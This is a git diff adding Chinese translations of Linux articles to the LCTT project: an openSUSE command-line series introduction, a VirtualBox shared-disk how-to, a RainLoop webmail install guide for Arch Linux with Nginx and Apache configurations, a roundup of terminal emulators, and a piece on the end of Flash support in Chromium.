+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/drag-drop-files-ubuntu-1404-unity/ +[2]:https://code.google.com/p/tint2/ +[3]:http://conky.sourceforge.net/ \ No newline at end of file diff --git a/published/201406/20140529 Command Line Tuesdays--The Introductory.md b/published/201406/20140529 Command Line Tuesdays--The Introductory.md new file mode 100644 index 0000000000..03dbe0b0dc --- /dev/null +++ b/published/201406/20140529 Command Line Tuesdays--The Introductory.md @@ -0,0 +1,57 @@ +命令行星期二 —— 序 +================================================================================ +**嗨,极客们!** + +今天,我们介绍给大家一个新的系列节目,它叫命令行星期二。为什么叫命令行星期二?因为在该系列节目中,每天坐在计算机前的你们,将会试着走出图形用户界面(GUI)文化的藩篱,从今天开始“让事情变得简单而大众化”。 + +当然,如果你访问过任何与GNU/Linux相关的社区论坛的话,你可能已经看到了,关于GUI和命令行哪个更好的讨论非常热烈。是让GUI掌控一切,还是只是学习并享受命令行界(CLI)面带来的乐趣呢? + +![Terminal](http://sholva.org/assets/images/blog/2009/review-opensuse-11.2/opensuse-terminal.png) + +对于使用或抛弃GUI工具的争论有很多。正方最常提到的优点之一,就是我们是在点击的计算模式下长大的,所以它基本上就是我们和机器进行交互的一种语言,或者你可以说是一种文化。我们日复一日重复着这样的模式,点击那个大按钮来让它干我们需要它干的事。 + +而对于反方,我读到的关于命令行的优点的最有趣的评论之一,就是你可以通过命令行来更快,更简单地做更多事情,比GUI工具来得快。但你需要明白的是:你需要学习命令。是的,学习它们,就像学一首诗一样。 + +现在,因为对于我们,半知半解毫无头绪的用户们,它让人听起来就像是某个没用的杂记小丑表演得表演过头,太过火了。让我来用个寓言讲得通俗一点吧: + +### 寓言 ### + +我已经用了Linux超过3年了。27岁,是个文学专业学生,我对任何形式的技术都没有太大的兴趣。我直到中学才有了一台属于自己的计算机,我想大概是17岁那年吧。对于我而言,只用了10年的计算机。我只用过三个程序,BS播放器,Winamp和足球经理,偶尔也用用MS Word。大约三年多以前,我做临时工时的一位同事,在我正和另外一位同僚谈话时告诉我说,有个新版的东西,它一下子就抓住了我的心,它看起来确实与众不同。我现在想想,它就是Ubuntu的“敏捷的独角鲸”。在和这位同事讨论这个新版本后,他指出了一些常见的优点,这些优点也是我们经常向新手宣传的,不需要杀毒软件,启动快捷,安全性更高,附带有软件中心等等之类。最突出的一点:它背后的自由和开源(FOSS)哲学。他用他温和而优雅的方式把我带了进去。 + +我决定来一次尝试,而从那以后便一发不可收拾。而至于我是怎么又从第一次对Ubuntu的浅尝辄止转而投向openSUSE 11.4的,咋们下回再讲吧。而我发现它只是一个完美而甜蜜的小插曲时,那就完完全全另外一回事了。问题在于,我最终进入了Linux领域。这很有趣,感觉很不一样,它让我的计算机跑得更好,它也更稳定,我也和它相处得很好(似乎我是在不经意间买到了相当普通的硬件)。似乎Linux并不是一个完全的桌面系统,所以我有时不得不使用终端。但是这么说吧,它是Linux中一个最为讨厌的,最为可怕,最令人不爽的工具之一。如果某些操作没有GUI可以做的话,我马上会诚惶诚恐,十分不安了。因为当我从论坛复制/粘贴命令的时候,我都不知道我究竟在干些什么。 + +随着时间流逝,情况发生了变化。相对于其他以消费者为导向的系统,发生在我身上的事可能有点与一般人相反。在那三年中,我感觉不是我在玩系统,而是系统在玩我。我学会了怎样寻找基本问题,提交bug报告,怎样正确地在论坛上提问。对于碰到的每个问题,我学会了为那些更有能力帮我解决问题的人提供更有用的信息。 + +不久以前,我女朋友发泄说,她简直不敢相信,我主要为了用计算机而用计算机,而不是用它来做一些别的事情。“你只用它来进行音乐收藏和做些Linux的乱七八糟的事情,Nenad. Gaawd”它让我想啊,使劲想。Linux,特别是openSUSE发行版它成了我的爱好之一。我不是一个专家,不管怎么看都是这样,Linux不在我的专业知识范畴内。但我有足够的知识来搞定它,搞定一些小问题,修改一些配置文件等等。但是我终于认识到,随着玩Linux日久,对系统的调整日多,我真的需要熟悉一下命令行(CLI)了。我也了解到,我在对底层的东西一无所知的情况下对系统胡作非为。我要对着etc大喊大叫了,它究竟是个什么东西?bin又是个什么东西?为什么会有个.sh在后面?问什么这个文件在这里?那个文件又在那里?为什么我得点击那一大堆的文件夹来找到正确的文件进行修改?然后,我读到“你可以用一个命令来简单地列出某个地方的所有文件”时,它又变得很有趣了,我突然感到迫不及待要想试试了。 + +### 好吧,让我们干吧! ### + +我们来了……。作为一位新的openSUSE的新闻发布者,我会试着以我所见最有成效的方式来发表我的看法,这样的方式我想对社区中绝大多数人会奏效。该高举旗帜,一起开始学习命令行了。如果是哲学理念吸引你到Linux和openSUSE中来的,就像我一样,那么是时候走得更远一点了。 + +![](http://beerepiphany.files.wordpress.com/2010/04/pinky_brain.jpg) + +看,我就知道在那外头有一大堆像我这样的人。我知道,你也许没有抓住90后极客们的要点,黑屏-绿字-手指在键盘上乱飞-让一切都激情澎湃。但这在很多地方都很有用。我们将以一种有趣的,而又通用的方式来学习,目录是用来干什么,什么文件放在什么地方,以及一些最常用的终端命令。在我们在控制台处理一些任务时,这将让我们更轻松一些;在碰到一些问题时,获得更大的回报。它也会让bug处理者更轻松些,如果他们从我们这头收到正确的信息的话。它也让我们的爱好变得乐趣无穷。 + +我是说,我的天啊,你已经过渡到连Dilber和xkcd都感到有趣的阶段了。是时候到终端下去了。 + +附录: + +要用到的一些参考资料:威廉·肖茨—— 《Linux命令行》,以及克罗地亚黑客韦利米尔·巴克沙,别名鲁塞拉斯,《关于最常用命令的简短教程》。对于你们的要求: + +- 每周1到2小时的空闲时间 +- 一品脱冰冻啤酒或者其它饮料 +- 有人已经指出,使用[Gedit][1],或者手工记录本(你懂的,笔和纸,呵呵)可以让学习更简单一些。 + +肖茨写的书可是精品,但读它可要花点时间和毅力。这里,我尽力让课程变得更通俗易懂一点,花点时间来帮助你们,而最重要的是——我希望我们能一起学习,一起互相帮助(评论还有论坛,人!!),并且加入一个组织严密的openSUSE社区!下周的这个时间(已经会是六月了吧),我们讲学习我们的第一部分命令。切记…… + +**尽情享受吧!** + +-------------------------------------------------------------------------------- + +via: https://news.opensuse.org/2014/05/27/command-line-tuesdays-the-introductory/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://software.opensuse.org/package/gedit diff --git a/published/201406/20140529 How To Share Disks In VirtualBox Between Linux Guest OS.md b/published/201406/20140529 How To Share Disks In VirtualBox Between Linux Guest OS.md new file mode 100644 index 0000000000..c2253e460c --- /dev/null +++ b/published/201406/20140529 How To Share Disks In VirtualBox Between Linux Guest OS.md @@ -0,0 +1,47 @@ +如何在VirtualBox中的Linux客户机系统间共享磁盘 +================================================================================ +在本教程中,让我来给你们展示一下如何在VirtualBox中的两个Linux客户机系统间共享一个磁盘。 + +本教程对于那些想配置一下并玩玩GFS或者集群的人来说还是很有帮助的。 + +下图是VirtualBox的标准界面: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_102225.png) + +第一个客户系统机CentOS1: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_102252.png) + +第二个客户机系统CentOS2: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_102314.png) + +给第一台机器添加额外的磁盘: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_102459.png) + +点击文件->虚拟介质管理器(Control+D)打开虚拟介质管理器界面: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_102657.png) + +设置磁盘为可共享(Shareable): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_102719.png) + +在客户机CentOS 2上,你可以添加现有磁盘,该磁盘在CentOS1客户机系统之前已经创建好: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/v2014-05-28_113908.png) + +完成后,你可以重启第二个客户机系统,并检查驱动器是否已经添加: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/2014-05-28_111903.png) + +大功告成。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/share-disks-virtualbox-linux-guest-os/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140529 Install RainLoop Webmail (A Web Based Email Client) using 'Nginx and Apache' in Arch Linux.md b/published/201406/20140529 Install RainLoop Webmail (A Web Based Email Client) using 'Nginx and Apache' in Arch Linux.md new file mode 100644 index 0000000000..7b014557c2 --- /dev/null +++ b/published/201406/20140529 Install RainLoop Webmail (A Web Based Email Client) using 'Nginx and Apache' in Arch Linux.md @@ -0,0 +1,384 @@ +在Arch上使用Nginx/Apache安装RainLoop Webmail +================================================================================ +Rainloop是一个使用PHP编写的,开源免费的网页邮件客户端。他支持包括Google、Yahoo、OutLook在内的主流的邮件服务器,当然,他也支持你自己的本地邮件服务器。它看起来大致就像使用IMAP和SMTP协议的MUA(邮件客户端)一样。 + +#### RainLoop 示例 #### + +可以看一下RainLoop作者安装的演示页面: [http://demo.rainloop.net/][1]。 + +![在Arch Linux上安装RainLoop](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux.jpg) +在Arch Linux上安装RainLoop + +一旦在您的服务器部署上Rainloop,剩余要做的唯一的事情是通过Web浏览器访问您的Rainloop,并提供你正在使用的邮件服务器信息。 + +本教程包含了在 **Arch Linux**上的**Rainloop** 网页客户端的安装流程,包括如何进行配置 **Apache** 或 **Nginx**, 当然本教程使用修改Hosts的方式,从而避免了DNS的访问。 + +If you also need references on installing Rainloop on **Debian** and **Red Hat** systems visit the previous RainLoop Webmail article at. + +如果你还是需要一篇在**Debian** 和 **Red Hat** 安装 RainLoop Webmail 的教程,你可以看这篇文章: + +- [在 Debian 和 RedHat 系的 Linux 上安装 RainLoop Webmail][2] + +以及在 **Ubuntu** 服务器中安装 RainLoop Webmail 的教程,你可以看这篇文章: + +- [如何在 Ubuntu server 中设置 RainLoop Webmail][8] + +### 系统要求 ### + +#### 对 Nginx #### + +- [在 Arch Linux 上安装 LEMP (Nginx, PHP, MySQL/MariaDB 和 PhpMyAdmin)][3] +- [在 Nginx 上创建虚拟主机][4] + +#### 对 Apache #### + +- [在 Arch Linux 上安装 LAMP (Linux, Apache, MySQL/MariaDB 和 PHP/PhpMyAdmin)][5] + +### Step 1:在 Nginx 或者 Apache 上创建虚拟主机### + +**1.** 假设你已经如上面介绍的链接所述,配置好了您的服务器(**Nginx**或**Apache**),你需要做的第一件事是在Hosts文件里创建一个原始解析记录,以指向**的Arch Linux**系统的IP。 + +对于Linux系统,修改 **/etc/hosts** 文件并且在你的localhost条目之下添加 Rainloop 的虚拟域。如下: + + 127.0.0.1 localhost.localdomain localhost rainloop.lan + 192.168.1.33 rainloop.lan + +![Add Domain Host Entry](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-01.jpg) +添加域信息 + +如果是Windows系统,则修改 **C:\Windows\System32\drivers\etc\hosts** 并且将接下来的内容添加到你的文件里: + + 192.168.1.33 rainloop.lan + +**2.** 使用 **ping** 命令确认本地的 Rainloop 域名创建成功之后,然后在 **Apache** 或 **Nginx** 中创建所需的 **虚拟主机** 和 **SSL** 配置。 + +#### Nginx 虚拟主机 #### + +在**/etc/nginx/sites-available/** 目录下使用如下命令创建一个名叫**rainloop.lan**的文件: + + $ sudo nano /etc/nginx/sites-available/rainloop.conf + +添加如下的文件内容: + + server { + listen 80; + server_name rainloop.lan; + + rewrite ^ https://$server_name$request_uri? permanent; + access_log /var/log/nginx/rainloop.lan.access.log; + error_log /var/log/nginx/rainloop.lan.error.log; + root /srv/www/rainloop/; + + # serve static files + location ~ ^/(images|javascript|js|css|flash|media|static)/ { + root /srv/www/rainloop/; + expires 30d; + } + + location / { + index index.html index.htm index.php; + autoindex on; + autoindex_exact_size off; + autoindex_localtime on; + } + + location ^~ /data { + deny all; + } + + location ~ \.php$ { + #fastcgi_pass 127.0.0.1:9000; (depending on your php-fpm socket configuration) + fastcgi_pass unix:/run/php-fpm/php-fpm.sock; + fastcgi_index index.php; + include fastcgi.conf; + } + } + +接下来创建SSL配置文件: + + $ sudo nano /etc/nginx/sites-available/rainloop-ssl.conf + +添加如下内容: + + server { + listen 443 ssl; + server_name rainloop.lan; + + ssl_certificate /etc/nginx/ssl/rainloop.lan.crt; + ssl_certificate_key /etc/nginx/ssl/rainloop.lan.key; + ssl_session_cache shared:SSL:1m; + ssl_session_timeout 5m; + ssl_ciphers HIGH:!aNULL:!MD5; + ssl_prefer_server_ciphers on; + + access_log /var/log/nginx/rainloop.lan.access.log; + error_log /var/log/nginx/rainloop.lan.error.log; + + root /srv/www/rainloop/; + + # serve static files + location ~ ^/(images|javascript|js|css|flash|media|static)/ { + root /srv/www/rainloop/; + expires 30d; + } + + location ^~ /data { + deny all; + } + + location / { + index index.html index.htm index.php; + autoindex on; + autoindex_exact_size off; + autoindex_localtime on; + } + + location ~ \.php$ { + #fastcgi_pass 127.0.0.1:9000; (depending on your php-fpm socket configuration) + fastcgi_pass unix:/run/php-fpm/php-fpm.sock; + fastcgi_index index.php; + include fastcgi.conf; + } + } + +接下来将会自动生成**Certificate**和**Keys**文件,然后在文件中叫**Common Name*的证书里中添加您的虚拟域名(** rainloop.lan**)。 + + $ sudo nginx_gen_ssl.sh + +![Generate Certificate and Keys](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-04.jpg) +生成证书和密钥 + +生成证书和SSL密钥后,创建Rainloop Web服务器**根**的文件路径(Rainloop PHP文件所在的位置),然后启用虚拟主机,并重新启动Nginx的守护进程,应用配置。 + + $ sudo mkdir -p /srv/www/rainloop + $ sudo n2ensite rainloop + $ sudo n2ensite rainloop-ssl + $ sudo systemctl restart nginx + +![Create RainLoop Web Director](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-05.jpg) +创建RainLoop 网页向导 + +#### Apache 虚拟主机 #### + +在**/etc/httpd/conf/sites-available/**中创建 **rainloop.conf**文件: + + $ sudo nano /etc/httpd/conf/sites-available/rainloop.conf + +添加如下内容: + + + ServerName rainloop.lan + DocumentRoot "/srv/www/rainloop/" + ServerAdmin you@example.com + ErrorLog "/var/log/httpd/rainloop-error_log" + TransferLog "/var/log/httpd/rainloop-access_log" + + + Options +Indexes +FollowSymLinks +ExecCGI + AllowOverride All + Order deny,allow + Allow from all + Require all granted + + + + +![Create Apache Virtual Host](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-06.jpg) +创建Apache虚拟主机 + +为Apache添加SSL支持: + + $ sudo nano /etc/httpd/conf/sites-available/rainloop-ssl.conf + +添加如下文件内容: + + + ServerName rainloop.lan + DocumentRoot "/srv/www/rainloop/" + ServerAdmin you@example.com + ErrorLog "/var/log/httpd/rainloop-ssl-error_log" + TransferLog "/var/log/httpd/rainloop-ssl-access_log" + + SSLEngine on + SSLCertificateFile "/etc/httpd/conf/ssl/rainloop.lan.crt" + SSLCertificateKeyFile "/etc/httpd/conf/ssl/rainloop.lan.key" + + + SSLOptions +StdEnvVars + + + BrowserMatch "MSIE [2-5]" \ + nokeepalive ssl-unclean-shutdown \ + downgrade-1.0 force-response-1.0 + + CustomLog "/var/log/httpd/ssl_request_log" \ + "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" + + + Options +Indexes +FollowSymLinks +ExecCGI + AllowOverride All + Order deny,allow + Allow from all + Require all granted + + + + + +接下来将会自动生成**Certificate**和**Keys**文件,然后在文件中叫**Common Name*的证书里中添加您的虚拟域名(** rainloop.lan**)。 + + $ sudo apache_gen_ssl + +![Create SSL Certificate and Keys](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-07.jpg) +创建SSL证书和密钥 + +![Enter Organization Details](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-08.jpg) +输入组织信息 + +After the Certificate and SSL keys are created, add Rainloop **DocumentRoot** path, then enable Virtual Hosts and restart Apache daemon to apply configurations. +在证书和密钥建立之后,创建 RainLoop 的 **DocumentRoot** 所指向的目录,之后激活虚拟主机,并且重启Apache应用设置。 + + $ sudo mkdir -p /srv/www/rainloop + $ sudo a2ensite rainloop + $ sudo a2ensite rainloop-ssl + $ sudo systemctl restart httpd + +![Enable Virtual Hosts](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-09.jpg) +激活虚拟主机 + +### Step 2: 添加必要的PHP支持 ### + +**3.** 无论您使用的是**Apache**或**Nginx**Web服务器,您需要激活**php.ini**文件下中的PHP扩展,并将新服务器的**DocumentRoot**目录放到 open_basedir 配置中。 + + $ sudo nano /etc/php/php.ini + +找到并且取消如下的PHP扩展的注释(LCTT译注,即启用这些模块): + + extension=iconv.so + extension=imap.so + extension=mcrypt.so + extension=mssql.so + extension=mysqli.so + extension=openssl.so ( enables IMAPS and SMTP SSL protocols on mail servers) + extension=pdo_mysql.so + +open_basedir语句应该看起来类似如下: + + open_basedir = /srv/http/:/home/:/tmp/:/usr/share/pear/:/usr/share/webapps/:/etc/webapps/:/srv/www/ + +**4.** 在修改好**php.ini**之后,重启你的服务器,然后检查 **phpinfo()** 输出,去看看**SSL**协议是否已经激活。 + + ----------对于 Apache Web 服务器---------- + $ sudo systemctl restart httpd + +---------- + + ----------对于 Nginx Web 服务器---------- + $ sudo systemctl restart nginx + $ sudo systemctl restart php-fpm + +![Check PHP Information](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-10.png) +查看 PHP 信息 + +### Step 3: 下载和安装 RainLoop Webmail ### + +**5.**现在可以从官方网站下载Rainloop应用并解压缩到文档根目录了,但是需要首先安装**wget的**和**unzip**程序(LCTT译注,如果你已经有了可以忽略此步)。 + + $ sudo pacman -S unzip wget + +**6.** 使用**wget**命令或通过使用浏览器访问[http://rainloop.net/downloads/] [6]下载最新的源码包Rainloop 压缩包。 + + $ wget http://repository.rainloop.net/v1/rainloop-latest.zip + +![Download RainLoop Package](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-11.png) +下载 RainLoop 包 + +**7.** 下载过程完成后,解压Rainloop压缩包到虚拟主机文档根目录路径( **/srv/www/rainloop/** )。 + + $ sudo unzip rainloop-latest.zip -d /srv/www/rainloop/ + +![Extract Rainloop Archive](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-12.png) +解压 + +**8.** 然后设置应用程序的默认路径下的权限。 + + $ sudo chmod -R 755 /srv/www/rainloop/ + $ sudo chown -R http:http /srv/www/rainloop/ + +![Set Permission on RainLoop](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-13.jpg) +设置权限 + +### Step 4: 通过网页配置RainLoop### + +**9.** Rainloop应用程序可以通过两种方式进行配置:使用浏览器或者系统shell。如果要在终端配置就打开和编辑位于**/ srv/www/rainloop/data/_data_da047852f16d2bc7352b24240a2f1599/_default_/configs/**的application.ini**文件。 + +**10.** 若要从浏览器访问管理界面,使用下面的URL地址** https://rainloop.lan/?admin**,然后提供输入默认的应用程序用户名密码,如下: + + User= admin + Password= 12345 + +![Rainloop Web Interface](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-14.png) +Rainloop Web 界面 + +**11.** 首次登录后,你会被警示需要更改默认密码,所以我劝你做这一点。 + +![Change Default Password](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-15.png) +修改默认 Password + +![Set New Admin Password](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-16.png) +设置新的 Admin Password + +**12.** 如果您要启用**Contact**(联系人)功能,就登录到MySQL数据库并创建一个新的数据库及其用户,然后提供在**Contacts**字段里面输入数据库信息。 + + mysql -u root -p + create database if not exists rainloop; + create user rainloop_user@localhost identified by “password”; + grant all privileges on rainloop.* to rainloop_user@localhost; + flush privileges; + exit; + +![Enable Contacts in RainLoop](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-17.png) +在 RainLoop 中激活联系人 + +![Enter Contact Database Details](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-18.png) +添加联系人数据库配置 + +**13.** 默认情况下Rainloop提供了** Gmail**,**Yahoo**和**Outlook**的邮件服务器的配置文件,但是你如果愿意,你也可以添加其他的邮件服务器域。 + +![Default Mail Domains](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-19.png) +默认 Mail 域 + +![Add New Domain](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-20.png) +添加新域 + +**14.** 登录你的邮件服务器,访问** https://rainloop.lan**,并提供您的域名服务器验证信息。 + +![Login to Mail Domain](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-21.png) +登录到Yahoo邮件页面 + +![Login to Gmail Domain](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-22.png) +登录Gmail + +![RainLoop Email Interface](http://www.tecmint.com/wp-content/uploads/2014/05/Install-RainLoop-in-Arch-Linux-23.png) +RainLoop 登录后的Email 界面 + +想要了解更多的文件,可以访问:[http://rainloop.net/docs/][7]. + +通过Rainloop你可以从浏览器中访问具有Internet连接的任何邮件服务器。唯一的缺憾就是在Arch Linux下使用Rainloop应用的话,少一个修改电子邮件帐户密码的poppassd插件包。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-rainloop-webmail-in-arch-linux/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://demo.rainloop.net/ +[2]:http://www.tecmint.com/rainloop-webmail-a-modern-fast-web-based-email-client-for-linux/ +[3]:http://www.tecmint.com/install-nginx-php-mysql-with-mariadb-engine-and-phpmyadmin-in-arch-linux/ +[4]:http://www.tecmint.com/create-virtual-hosts-using-nginx-on-arch-linux/ +[5]:http://www.tecmint.com/install-lamp-in-arch-linux/ +[6]:http://rainloop.net/downloads/ +[7]:http://rainloop.net/docs/ +[8]:http://linux.cn/article-2794-1.html \ No newline at end of file diff --git a/published/201406/20140529 What is a good terminal emulator on Linux.md b/published/201406/20140529 What is a good terminal emulator on Linux.md new file mode 100644 index 0000000000..083965cbf8 --- /dev/null +++ b/published/201406/20140529 What is a good terminal emulator on Linux.md @@ -0,0 +1,89 @@ +Linux上有哪些好的终端模拟器? +================================================================================ +一个好的终端模拟器是一个选择Linux而不是Windows或Mac的充分理由,任何Linux的资深用户都会同意这点。通过使用shell,用户可以完成在图形环境下不可能或者太重复的任务。但是终端模拟器的选择是非常重要的,因为它会成为你使用最多的程序。我会尝试列出在Linux上好的终端模拟器的清单,从经典的到奇特的,但是它们都是有效率且独特的。 + +如果你认为还有好的终端程序在这里没有提到,请在评论区让我们知道。这里列出了许多,大多数是值得你了解一下。 + +### 1. Gnome-terminal ### + +![](https://farm4.staticflickr.com/3699/14100905190_478812cae2_z.jpg) + +让我们先从“经典”终端开始,对于Gnome而言,Gnome-terminal和Gnome一样经典。它支持多用户配置,标签,文本大小调整,背景转换和高度定制。如它名字暗示的那样,它适用于Gnome环境。 + +### 2. Konsole ### + +![](https://farm3.staticflickr.com/2897/14101006647_ec13565200_z.jpg) + +同样大名鼎鼎,Konsole在KDE环境下等同于Gnome-terminal。Konsole额外支持的一点是分割视图和书签目录。 + +### 3. (Xfce) terminal ### + +![](https://farm3.staticflickr.com/2928/14100857759_fa29cc968e_z.jpg) + +Xfce用户同样有他们的Xfce4终端。这个项目的目的是制造一个在外观上相似Gnome-terminal的产品,但是更少占用资源需求。它是高端定制化的,虽然没有用户配置功能或者透明背景。 + +### 4. LXTerminal ### + +[![](https://farm6.staticflickr.com/5569/14100905020_dd2b3e830e_z.jpg)][1] + +其目标是为了成为桌面环境下的最有名的终端,LXTerminal是为LXDE环境设计的。如你所能想到的,它甚至比xfce-terminal更轻量快速,去除了复杂的自定义和高级选项,只保持了标签功能。 + +### 5. Terminator ### + +![](https://farm4.staticflickr.com/3726/14100980857_1591317b8a_z.jpg) + +现在让我们看看终端模拟器中的劳斯莱斯,Terminator是这些终端里面功能最完备的一款,它包括了标签、水平和垂直分割视图、截屏、用户配置、插件、布局管理。可能还有一些你永远都用不到的选项。它的缺点是太大和大量的资源消耗,这些就是你付出的代价。 + +### 6. Tilda ### + +[![](https://farm6.staticflickr.com/5585/14284203351_2c25a33cb4_z.jpg)][2] + +这里还有一款完全不同的一款终端,它称为“下拉”式。如果你喜欢你的终端总是一键可达,也许你会喜欢下面提到的三个特点。首先,Tilda是一个典型的下拉式终端;它不依赖于环境并且非常轻量;你可以设置透明度或者甚至是不同的背景,并且选择出现在屏幕的那个边。除去这些,不要期待太复杂的功能,比如标签或者分割视图。Tilda只做一件事:在你需要的时候快速显示出来。 + +### 7. Guake ### + +![](https://farm4.staticflickr.com/3733/14285529772_aa824b5e39_z.jpg) + +如果喜欢Tilda的方式,而且希望与Gnome结合更紧密,你应该试试Guake。在功能方面,它多多少少与Tilda相似。两者之间最大的不同是Guake更美观。 + +### 8. Yakuake ### + +[![](https://farm6.staticflickr.com/5274/14100857589_142fdc4153_z.jpg)][3] + +KDE用户当然也不会被遗忘,他们有Yakuake,它基本上就是KDE环境下的Guake的替代品。它和Quake功能一样,除了还有标签化接口和用户配置。 + +### 9. Terra ### + +![](https://farm4.staticflickr.com/3700/14307721343_0e55878bb0_z.jpg) + +对于既喜欢Terminator,也喜欢下拉式的资深用户而言,我估计Terra是最好的。介于Guake和Terminator之间,Terra在下拉式中支持分割视图和标签。 + +### 10. rxvt ### + +![](https://farm3.staticflickr.com/2916/14307721303_805fe977ce_o.png) + +如果你的目标是尽可能的轻量,并且你希望类似xterm,那么rxvt就是为你设计的。它没有标签和自定义,没有分割视图,没有任何东西,要极轻量就用rxvt。如果有时你只需要刚好够的功能,那么rxvt就是为你提供的。 + +### 11. Sakura ### + +![](https://farm4.staticflickr.com/3823/14287031834_d8a5ac966f_z.jpg) + +作为一款并不有名的终端模拟器,Sakura基于GTK但是并不需要完整的Gnome环境。不像rxvt,Sakura有一些额外的功能,像标签和颜色自定义,但是它尝试着保持简单和基本。因此如果你想要一款不针对特定环境的基础终端,Sakura可能是你想要的。 + +### 12. Terminology ### + +![](https://farm4.staticflickr.com/3706/14264408226_a0223861ae_z.jpg) + +这里面最奇异的终端是Terminology。它原本是为Enlightment设计的,它包括了目前我们看到的常规功能,并且还有我之前没有见过的功能。比如,直接在终端中播放流媒体,以及在文件列表中显示略缩图。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/05/good-terminal-emulator-linux.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.flickr.com/photos/xmodulo/14100905020/ +[2]:https://www.flickr.com/photos/xmodulo/14284203351/ +[3]:https://www.flickr.com/photos/xmodulo/14100857589/ diff --git a/published/201406/20140529 Why No Flash Support for Linux Is Good for Open Source.md b/published/201406/20140529 Why No Flash Support for Linux Is Good for Open Source.md new file mode 100644 index 0000000000..aec8b27ed8 --- /dev/null +++ b/published/201406/20140529 Why No Flash Support for Linux Is Good for Open Source.md @@ -0,0 +1,31 @@ +为什么Flash不支持Linux对开源比较好 +================================================================================ +> Linux中开源软件Chromium浏览器对Adobe Flash的支持即将结束,这实际上对Linux世界是件好事。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2014/05/noflash.png) + +Flash,这个无处不在的网络媒体框架,很快将不能在linux的[Chromium][1]浏览器中使用了。Chromium是开源版的[Google Chrome][2]浏览器。现在我们要为Linux世界恐慌了吗?答案是根本不用。 + +事情是这样的:Chromium对Flash支持的传统方法是通过使用最初设计用于Netscape浏览器的一个插件实现的,不过很快这个方法将[不能使用了][3]。取而代之的是,Flash支持将通过新的叫做Pepper的API而实现,这是Google为Chrome而制作的。 + +对于Linux用户,问题是Pepper只能用于Chrome,而不能用于其表兄弟Chromium。虽然在技术上可以使Pepper在Chromium上使用,但需要你比一般Linux用户拥有更多的知识才能搞定。 + +这对Linux世界来说是个坏消息,根据[一个统计数据][4]称,有近一半的Linux用户在使用Chromium。在Linux上的其他浏览器,对Flash的支持将在Flash 11.2版本结束,现在它仍然能够良好工作,但是将来可能就不能使用了。这就是说,不久,不论Chromium还是Firefox或者他们的分支或其他的开源软件,将不能可靠地显示基于Flash的内容。 + +但到目前为止,很少有人对此事感到恐慌,事实上他们确实不应该恐慌。从很多方面来说,Flash对Linux不再支持实际上是件好事,因为这将有助于加速Flash的完全消失。毕竟,就如Jim Lynch在IT World上[写的][5],苹果iOS从没有过Flash支持,但这并没有阻碍iPads或iPhones变得的极为流行。尤其是一些技术如HTML5使得在提供网络内容时不必使用Flash。 + +这件事情里,拒绝支持一个特定的软件包,从长远来看对于Linux社区和更大范畴的IT世界更有好处。这种情况很少见,但当发生在Flash上时,Linux不支持的确是件好事。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/052814/why-no-flash-support-linux-good-open-source + 